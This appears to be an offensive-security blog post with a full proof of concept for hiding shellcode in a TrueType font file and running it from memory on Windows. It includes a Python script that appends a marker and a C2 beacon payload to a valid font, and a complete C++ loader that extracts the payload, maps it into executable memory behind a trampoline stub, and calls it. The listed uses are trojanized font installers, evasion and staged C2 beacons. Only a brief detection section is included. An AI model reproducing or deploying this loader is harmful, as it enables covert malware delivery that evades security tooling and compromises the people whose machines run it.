Rendering Shellcode: Abusing TTF and DrawTextW for Memory Execution

Leveraging Windows GDI and TrueType fonts to covertly stage and execute shellcode.

Introduction

Fonts are a strange and mostly trusted part of the Windows ecosystem. They are used by nearly every application, rarely scrutinized, and almost never considered dangerous. But in this post, I will show how a weaponized .ttf (TrueType font) file when rendered with DrawTextW() can act as a stealthy loader, executing shellcode directly from memory.

This technique leverages the GDI font rendering pipeline, a custom marker embedded in a font file, and in-memory trampoline logic. The result is code execution using APIs like AddFontResourceExW and DrawTextW, with zero dropped executables and minimal behavioral artifacts.

Overview of the Technique

The technique works by:

  1. Embedding shellcode into a .ttf file using a marker like ##INFO##
  2. Registering the font with the system using AddFontResourceExW()
  3. Parsing the font file in memory to extract the shellcode
  4. Mapping the shellcode into an RWX memory buffer
  5. Rendering text using DrawTextW() with the weaponized font
  6. Executing the shellcode via a trampoline stub

Despite having embedded data, the font still renders correctly because we append not modify its structure.

Font Structure and Payload Embedding

TrueType fonts are made up of structured tables (name, cmap, glyf, etc.), with their layout described in the file header. To avoid breaking anything, we don’t modify the internal structure. Instead, we append our payload to the end of the file.

Here’s how the file looks in hex:

... [Valid OpenType structure] ...
##INFO##<raw shellcode>
  • ##INFO## is a static marker (8 bytes) the loader searches for
  • Everything after that is raw shellcode (e.g., beacon.bin)
  • No table checksums are broken, so the OS and GDI still recognize the file as valid

This works because Windows font rendering APIs don’t validate trailing data they parse only the required tables and ignore anything else. That makes .ttf a perfect staging container.

Payload Loader: Detailed Breakdown

Step 1: Register the Font

AddFontResourceExW(L"FontData.ttf", FR_PRIVATE, NULL);
  • Registers the font only for the current process
  • Doesn’t require admin or write to system font directories
  • The font becomes usable via CreateFontW() by name (e.g., "Open Sans")

Step 2: Extract the Payload

std::vector<BYTE> loadFontFile(const std::wstring& path);
BYTE* extractBeacon(const std::vector<BYTE>& buf, DWORD& size);
  • Load the file as raw binary
  • Search for the 8-byte ##INFO## marker
  • Extract everything after it as the beacon payload

Step 3: Prepare Executable Memory

HANDLE hMap = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, totalSize, NULL);
BYTE* execBuffer = (BYTE*)MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, totalSize);
  • Allocate a memory buffer for the shellcode
  • Write a small trampoline stub to redirect execution

Trampoline Stub:

call $
pop rsi
add rsi, STUB_SIZE
jmp rsi

This ensures that when we jump into the memory region, we land just after the trampoline and directly into the shellcode.

Step 4: Trigger Execution via GDI

HFONT font = CreateFontW(..., L"Open Sans");
SelectObject(hdc, font);
DrawTextW(hdc, L"Triggering text", -1, &rect, DT_LEFT);
  • Select the embedded font
  • Render dummy text using DrawTextW()
  • This ensures the font is active in the DC context

Step 5: Execute Payload

((void(*)())execBuffer)();
  • Direct call into mapped memory region
  • Shellcode runs with current process permissions
  • Cleanup removes font from memory via RemoveFontResourceExW()

Why This Works

Step Why It’s Trusted
.ttf file Normal, unscanned
Appended payload Ignored by OS
AddFontResourceExW Legit API
DrawTextW trigger Blends in with UI
Memory execution w/ trampoline No dropped EXEs

No common static or behavioral rules will flag this unless specifically tuned. From the OS’s perspective, this is just a font being rendered.

Detection Considerations

  • Fonts with unexpected trailing data or appended binary blobs
  • Excessive use of FR_PRIVATE fonts from untrusted locations
  • In-memory mapping of .ttf files followed by RWX allocation
  • Pattern: AddFontResourceExWDrawTextWCreateThread

Use Cases

  • Initial access via trojanized font installers
  • Payload hiding in themed document templates
  • User-mode persistence or evasion
  • Staged C2 beacons embedded in media or design tools

Final Thoughts

This technique proves that execution can come from unexpected places. Fonts, while benign in nature, offer a stealthy container for code. Combined with trusted rendering APIs, they can be abused to execute payloads with little to no noise and are perfect for OPSEC-sensitive staging.

If you see a font rendering glyphs - ask yourself if it might also be rendering shellcode.

POC

.ttf generate

import shutil

# === Config ===
base_font = "OpenSans-Regular.ttf"   # any valid TTF font file
output_font = "FontData.ttf"
payload = "beacon.bin"
marker = b"##INFO##"

# === Read payload ===
with open(payload, "rb") as f:
    shellcode = f.read()

# === Copy base font to new file ===
shutil.copy(base_font, output_font)

# === Append marker + payload to the font file ===
with open(output_font, "ab") as f:
    f.write(marker + shellcode)

print(f"[+] {output_font} created with marker and payload ({len(shellcode)} bytes).")

Place a clean .ttf font like OpenSans-Regular.ttf (or any valid font)

then run

python font_generate.py

This will create:

FontData.ttf  ← contains: [valid font bytes] + ##INFO## + [raw shellcode]

Loader

#include <windows.h>
#include <shlwapi.h>
#include <iostream>
#include <string>
#include <vector>
#include <fstream>

#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "shlwapi.lib")

#define FONT_FILE L"FontData.ttf"
#define MARKER "##INFO##"
#define STUB_SIZE 128

BYTE* execBuffer = nullptr;
DWORD execSize = 0;

// Load font + beacon buffer
std::vector<BYTE> loadFontFile(const std::wstring& path) {
    std::ifstream file(path, std::ios::binary);
    if (!file) return {};
    return std::vector<BYTE>((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
}

// Find marker and extract beacon
BYTE* extractBeacon(const std::vector<BYTE>& buf, DWORD& outSize) {
    const char* marker = MARKER;
    size_t mlen = strlen(marker);
    for (size_t i = 0; i < buf.size() - mlen; ++i) {
        if (memcmp(&buf[i], marker, mlen) == 0) {
            outSize = buf.size() - (DWORD)(i + mlen);
            return (BYTE*)&buf[i + mlen];
        }
    }
    return nullptr;
}

// Trampoline stub (same as before)
void writeTrampoline(BYTE* target) {
    BYTE stub[] = {
        0xE8, 0x00, 0x00, 0x00, 0x00,   // call $
        0x5E,                           // pop rsi
        0x48, 0x83, 0xC6, STUB_SIZE,    // add rsi, STUB_SIZE
        0xFF, 0xE6                      // jmp rsi
    };
    memset(target, 0x90, STUB_SIZE);
    memcpy(target, stub, sizeof(stub));
}

int main() {
    std::wcout << L"[~] Loading font: " << FONT_FILE << std::endl;

    auto buffer = loadFontFile(FONT_FILE);
    if (buffer.empty()) {
        std::cerr << "[!] Font file not found or empty.\n";
        return -1;
    }

    BYTE* beacon = extractBeacon(buffer, execSize);
    if (!beacon || execSize == 0) {
        std::cerr << "[!] Beacon marker not found.\n";
        return -1;
    }

    std::cout << "[+] Beacon extracted. Size: " << execSize << " bytes\n";

    // Prepare RX memory for stub + beacon
    SIZE_T totalSize = STUB_SIZE + execSize;
    HANDLE hMap = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, totalSize, NULL);
    BYTE* mapped = (BYTE*)MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, totalSize);
    if (!mapped) {
        std::cerr << "[!] Memory map failed.\n";
        return -1;
    }

    writeTrampoline(mapped);
    memcpy(mapped + STUB_SIZE, beacon, execSize);
    execBuffer = mapped;

    std::wcout << L"[+] Font registered with system.\n";
    int count = AddFontResourceExW(FONT_FILE, FR_PRIVATE, NULL);
    if (count == 0) {
        std::cerr << "[!] Failed to add font.\n";
        return -1;
    }

    std::cout << "[~] Font added to system GDI.\n";

    // Create dummy window and DC
    HWND hwnd = GetConsoleWindow();
    HDC hdc = GetDC(hwnd);

    // Create font object using our font (must match internal name of TTF)
    HFONT hFont = CreateFontW(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
        DEFAULT_CHARSET, OUT_OUTLINE_PRECIS, CLIP_DEFAULT_PRECIS,
        CLEARTYPE_QUALITY, VARIABLE_PITCH, L"Open Sans");
    if (!hFont) {
        std::cerr << "[!] Font handle failed.\n";
        return -1;
    }

    HFONT oldFont = (HFONT)SelectObject(hdc, hFont);
    RECT rect = { 10, 10, 400, 200 };
    std::wstring text = L"Triggering DrawText from memory font...";
    DrawTextW(hdc, text.c_str(), -1, &rect, DT_LEFT | DT_TOP | DT_NOPREFIX);

    SelectObject(hdc, oldFont);
    DeleteObject(hFont);
    ReleaseDC(hwnd, hdc);

    std::cout << "[~] Executing beacon from mapped font buffer.\n";
    ((void(*)())execBuffer)();

    RemoveFontResourceExW(FONT_FILE, FR_PRIVATE, NULL);
    return 0;
}